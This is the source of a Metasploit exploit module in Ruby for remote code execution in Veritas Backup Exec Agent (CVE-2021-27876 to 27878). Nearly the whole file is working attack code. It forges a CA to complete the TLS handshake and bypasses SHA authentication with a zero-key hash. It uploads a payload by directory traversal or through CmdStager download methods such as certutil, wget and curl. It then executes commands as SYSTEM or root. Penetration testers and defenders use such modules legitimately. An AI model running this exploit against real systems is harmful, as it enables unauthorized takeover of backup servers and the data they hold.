538 lines
17 KiB
Ruby
538 lines
17 KiB
Ruby
# frozen_string_literal: true
|
||
|
||
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = ExcellentRanking
|
||
|
||
include Msf::Exploit::Remote::Tcp
|
||
include Msf::Exploit::Remote::NDMPSocket
|
||
include Msf::Exploit::CmdStager
|
||
include Msf::Exploit::EXE
|
||
prepend Msf::Exploit::Remote::AutoCheck
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
|
||
'Description' => %q{
|
||
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
|
||
This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.
|
||
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
|
||
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
|
||
depending on the platform.
|
||
|
||
The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
|
||
including Backup Exec Remote Agent revision 9.3)
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
|
||
'References' => [
|
||
['CVE', '2021-27876'],
|
||
['CVE', '2021-27877'],
|
||
['CVE', '2021-27878'],
|
||
['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
|
||
],
|
||
'Platform' => %w[win linux],
|
||
'Targets' => [
|
||
[
|
||
'Windows',
|
||
{
|
||
'Platform' => 'win',
|
||
'Arch' => [ARCH_X86, ARCH_X64],
|
||
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
|
||
}
|
||
],
|
||
[
|
||
'Linux',
|
||
{
|
||
'Platform' => 'linux',
|
||
'Arch' => [ARCH_X86, ARCH_X64],
|
||
'CmdStagerFlavor' => %w[bourne wget curl echo]
|
||
}
|
||
]
|
||
],
|
||
'DefaultOptions' => {
|
||
'RPORT' => 10_000
|
||
},
|
||
'Privileged' => true,
|
||
'DisclosureDate' => '2021-03-01',
|
||
'DefaultTarget' => 0,
|
||
'Notes' => {
|
||
'Reliability' => [UNRELIABLE_SESSION],
|
||
'Stability' => [CRASH_SAFE],
|
||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||
}
|
||
)
|
||
)
|
||
|
||
register_options([
|
||
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
|
||
conditions: ['TARGET', '==', 'Linux'])
|
||
])
|
||
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
|
||
end
|
||
|
||
def execute_command(cmd, opts = {})
|
||
case target.opts['Platform']
|
||
when 'win'
|
||
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
|
||
when 'linux'
|
||
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
|
||
end
|
||
ndmp_sock = opts[:ndmp_sock]
|
||
ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_EXECUTE_COMMAND,
|
||
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
|
||
)
|
||
)
|
||
end
|
||
|
||
def exploit
|
||
print_status('Exploiting ...')
|
||
|
||
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
|
||
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
|
||
|
||
ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
|
||
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status
|
||
|
||
ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
|
||
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status
|
||
|
||
if target.opts['Platform'] == 'win'
|
||
filename = "#{rand_text_alpha(8)}.exe"
|
||
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
|
||
if ndmp_status
|
||
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
|
||
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
|
||
else
|
||
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
|
||
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
|
||
end
|
||
else
|
||
print_status('Uploading payload with CmdStager')
|
||
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
|
||
end
|
||
end
|
||
|
||
def check
|
||
print_status('Checking vulnerability')
|
||
|
||
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
|
||
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
|
||
|
||
print_status('Getting supported authentication types')
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
|
||
)
|
||
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
|
||
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
|
||
"#{AUTH_TYPES[k]} (#{k})"
|
||
end.join(', ')}")
|
||
print_status("BE agent revision: #{ndmp_payload.revision}")
|
||
|
||
if ndmp_payload.auth_types.include?(5)
|
||
Exploit::CheckCode::Appears('SHA authentication is enabled')
|
||
else
|
||
Exploit::CheckCode::Safe('SHA authentication is disabled')
|
||
end
|
||
end
|
||
|
||
def ndmp_connect
|
||
print_status('Connecting to BE Agent service')
|
||
ndmp_msg = nil
|
||
begin
|
||
ndmp_sock = NDMP::Socket.new(connect)
|
||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
|
||
Rex::ConnectionRefused => e
|
||
return [false, nil, e.to_s]
|
||
end
|
||
begin
|
||
Timeout.timeout(datastore['ConnectTimeout']) do
|
||
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
|
||
end
|
||
rescue Timeout::Error
|
||
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
|
||
else
|
||
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
|
||
end
|
||
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP::Message::CONNECT_OPEN,
|
||
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
|
||
)
|
||
)
|
||
|
||
ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
[true, ndmp_sock, nil]
|
||
end
|
||
|
||
def tls_enabling(ndmp_sock)
|
||
print_status('Enabling TLS for NDMP connection')
|
||
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
|
||
ndmp_tls_certs.forge_ca
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_SSL_HANDSHAKE,
|
||
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)
|
||
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_SSL_HANDSHAKE,
|
||
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_SSL_HANDSHAKE,
|
||
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
ssl_context = OpenSSL::SSL::SSLContext.new
|
||
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
|
||
ndmp_sock.wrap_with_ssl(ssl_context)
|
||
[true, nil]
|
||
end
|
||
|
||
def sha_authentication(ndmp_sock)
|
||
print_status('Passing SHA authentication')
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_CONFIG_GET_AUTH_ATTR,
|
||
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP::Message::CONNECT_CLIENT_AUTH,
|
||
NdmpConnectClientAuthReq.new(
|
||
{
|
||
auth_type: 5,
|
||
username: 'Administrator', # Doesn't metter
|
||
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
|
||
}
|
||
).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
[true, nil]
|
||
end
|
||
|
||
def win_write_upload(ndmp_sock, filename)
|
||
print_status('Uploading payload with NDMP_FILE_WRITE packet')
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_FILE_OPEN_EXT,
|
||
NdmpFileOpenExtReq.new(
|
||
{
|
||
filename: filename,
|
||
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
|
||
mode: 4
|
||
}
|
||
).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
hnd = ndmp_payload.handler
|
||
exe = generate_payload_exe
|
||
offset = 0
|
||
block_size = 2048
|
||
|
||
while offset < exe.length
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_FILE_WRITE,
|
||
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
offset += block_size
|
||
end
|
||
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_FILE_CLOSE,
|
||
NdmpFileCloseReq.new({ handler: hnd }).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
[true, nil]
|
||
end
|
||
|
||
def exec_win_command(ndmp_sock, filename)
|
||
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
|
||
ndmp_msg = ndmp_sock.do_request_response(
|
||
NDMP::Message.new_request(
|
||
NDMP_EXECUTE_COMMAND,
|
||
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
|
||
)
|
||
)
|
||
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
|
||
unless ndmp_payload.err_code.zero?
|
||
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
|
||
end
|
||
|
||
[true, nil]
|
||
end
|
||
|
||
# Class to create CA and client certificates
|
||
class NdmpTlsCerts
|
||
def initialize(hostname, ip)
|
||
@hostname = hostname
|
||
@ip = ip
|
||
@ca_key = nil
|
||
@ca_cert = nil
|
||
@be_agent_cert = nil
|
||
end
|
||
|
||
SSL_HANDSHAKE_TYPES = {
|
||
SSL_HANDSHAKE_TEST_CERT: 1,
|
||
SSL_HANDSHAKE_CSR_REQ: 2,
|
||
SSL_HANDSHAKE_CSR_SIGNED: 3,
|
||
SSL_HANDSHAKE_CONNECT: 4
|
||
}.freeze
|
||
|
||
attr_reader :ca_cert, :ca_key
|
||
|
||
def forge_ca
|
||
@ca_key = OpenSSL::PKey::RSA.new(2048)
|
||
@ca_cert = OpenSSL::X509::Certificate.new
|
||
@ca_cert.version = 2
|
||
@ca_cert.serial = rand(2**32..2**64 - 1)
|
||
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
|
||
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
|
||
@ca_cert.extensions = [
|
||
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
|
||
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
|
||
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
|
||
]
|
||
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
|
||
@ca_cert.public_key = @ca_key.public_key
|
||
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
|
||
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
|
||
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
|
||
end
|
||
|
||
def sign_agent_csr(csr)
|
||
o_csr = OpenSSL::X509::Request.new(csr)
|
||
@be_agent_cert = OpenSSL::X509::Certificate.new
|
||
@be_agent_cert.version = 2
|
||
@be_agent_cert.serial = rand(2**32..2**64 - 1)
|
||
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
|
||
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
|
||
@be_agent_cert.issuer = @ca_cert.subject
|
||
@be_agent_cert.subject = o_csr.subject
|
||
@be_agent_cert.public_key = o_csr.public_key
|
||
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
|
||
end
|
||
|
||
def default_sslpacket_content(ssl_packet_type)
|
||
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
|
||
ca_cert = @ca_cert.to_s
|
||
agent_cert = @be_agent_cert.to_s
|
||
else
|
||
ca_cert = ''
|
||
agent_cert = ''
|
||
end
|
||
{
|
||
ssl_packet_type: ssl_packet_type,
|
||
hostname: @hostname,
|
||
nb_hostname: @hostname.upcase,
|
||
ip_addr: @ip,
|
||
cert_id1: get_cert_id(@ca_cert),
|
||
cert_id2: get_cert_id(@ca_cert),
|
||
unknown1: 0,
|
||
unknown2: 0,
|
||
ca_cert_len: ca_cert.length,
|
||
ca_cert: ca_cert,
|
||
agent_cert_len: agent_cert.length,
|
||
agent_cert: agent_cert
|
||
}
|
||
end
|
||
|
||
def get_cert_id(cert)
|
||
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
|
||
end
|
||
end
|
||
|
||
NDMP_CONFIG_GET_AUTH_ATTR = 0x103
|
||
NDMP_SSL_HANDSHAKE = 0xf383
|
||
NDMP_EXECUTE_COMMAND = 0xf30f
|
||
NDMP_FILE_OPEN_EXT = 0xf308
|
||
NDMP_FILE_WRITE = 0xF309
|
||
NDMP_FILE_CLOSE = 0xF306
|
||
|
||
AUTH_TYPES = {
|
||
1 => 'Text',
|
||
2 => 'MD5',
|
||
3 => 'BEWS',
|
||
4 => 'SSPI',
|
||
5 => 'SHA',
|
||
190 => 'BEWS2' # 0xBE
|
||
}.freeze
|
||
|
||
# Responce packets
|
||
class NdmpNotifyConnectedRes < XDR::Struct
|
||
attribute :connected, XDR::Int
|
||
attribute :version, XDR::Int
|
||
attribute :reason, XDR::Int
|
||
end
|
||
|
||
class NdmpConnectOpenRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
end
|
||
|
||
class NdmpConfigGetServerInfoRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
attribute :vendor_name, XDR::String[]
|
||
attribute :product_name, XDR::String[]
|
||
attribute :revision, XDR::String[]
|
||
attribute :auth_types, XDR::VarArray[XDR::Int]
|
||
end
|
||
|
||
class NdmpConfigGetHostInfoRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
attribute :hostname, XDR::String[]
|
||
attribute :os, XDR::String[]
|
||
attribute :os_info, XDR::String[]
|
||
attribute :ip, XDR::String[]
|
||
end
|
||
|
||
class NdmpSslHandshakeRes < XDR::Struct
|
||
attribute :data_len, XDR::Int
|
||
attribute :data, XDR::String[]
|
||
attribute :err_code, XDR::Int
|
||
attribute :unknown4, XDR::String[]
|
||
end
|
||
|
||
class NdmpConfigGetAuthAttrRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
attribute :auth_type, XDR::Int
|
||
attribute :challenge, XDR::Opaque[64]
|
||
end
|
||
|
||
class NdmpConnectClientAuthRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
end
|
||
|
||
class NdmpExecuteCommandRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
end
|
||
|
||
class NdmpFileOpenExtRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
attribute :handler, XDR::Int
|
||
end
|
||
|
||
class NdmpFileWriteRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
attribute :recv_len, XDR::Int
|
||
attribute :unknown, XDR::Int
|
||
end
|
||
|
||
class NdmpFileCloseRes < XDR::Struct
|
||
attribute :err_code, XDR::Int
|
||
end
|
||
|
||
# Request packets
|
||
class NdmpConnectOpenReq < XDR::Struct
|
||
attribute :version, XDR::Int
|
||
end
|
||
|
||
class NdmpSslHandshakeReq < XDR::Struct
|
||
attribute :ssl_packet_type, XDR::Int
|
||
attribute :nb_hostname, XDR::String[]
|
||
attribute :hostname, XDR::String[]
|
||
attribute :ip_addr, XDR::String[]
|
||
attribute :cert_id1, XDR::Int
|
||
attribute :cert_id2, XDR::Int
|
||
attribute :unknown1, XDR::Int
|
||
attribute :unknown2, XDR::Int
|
||
attribute :ca_cert_len, XDR::Int
|
||
attribute :ca_cert, XDR::String[]
|
||
attribute :agent_cert_len, XDR::Int
|
||
attribute :agent_cert, XDR::String[]
|
||
end
|
||
|
||
class NdmpConfigGetAuthAttrReq < XDR::Struct
|
||
attribute :auth_type, XDR::Int
|
||
end
|
||
|
||
class NdmpConnectClientAuthReq < XDR::Struct
|
||
attribute :auth_type, XDR::Int
|
||
attribute :username, XDR::String[]
|
||
attribute :hash, XDR::Opaque[32]
|
||
end
|
||
|
||
class NdmpExecuteCommandReq < XDR::Struct
|
||
attribute :cmd, XDR::String[]
|
||
attribute :unknown, XDR::Int
|
||
end
|
||
|
||
class NdmpFileOpenExtReq < XDR::Struct
|
||
attribute :filename, XDR::String[]
|
||
attribute :dir, XDR::String[]
|
||
attribute :mode, XDR::Int
|
||
end
|
||
|
||
class NdmpFileWriteReq < XDR::Struct
|
||
attribute :handler, XDR::Int
|
||
attribute :len, XDR::Int
|
||
attribute :data, XDR::String[]
|
||
end
|
||
|
||
class NdmpFileCloseReq < XDR::Struct
|
||
attribute :handler, XDR::Int
|
||
end
|
||
end
|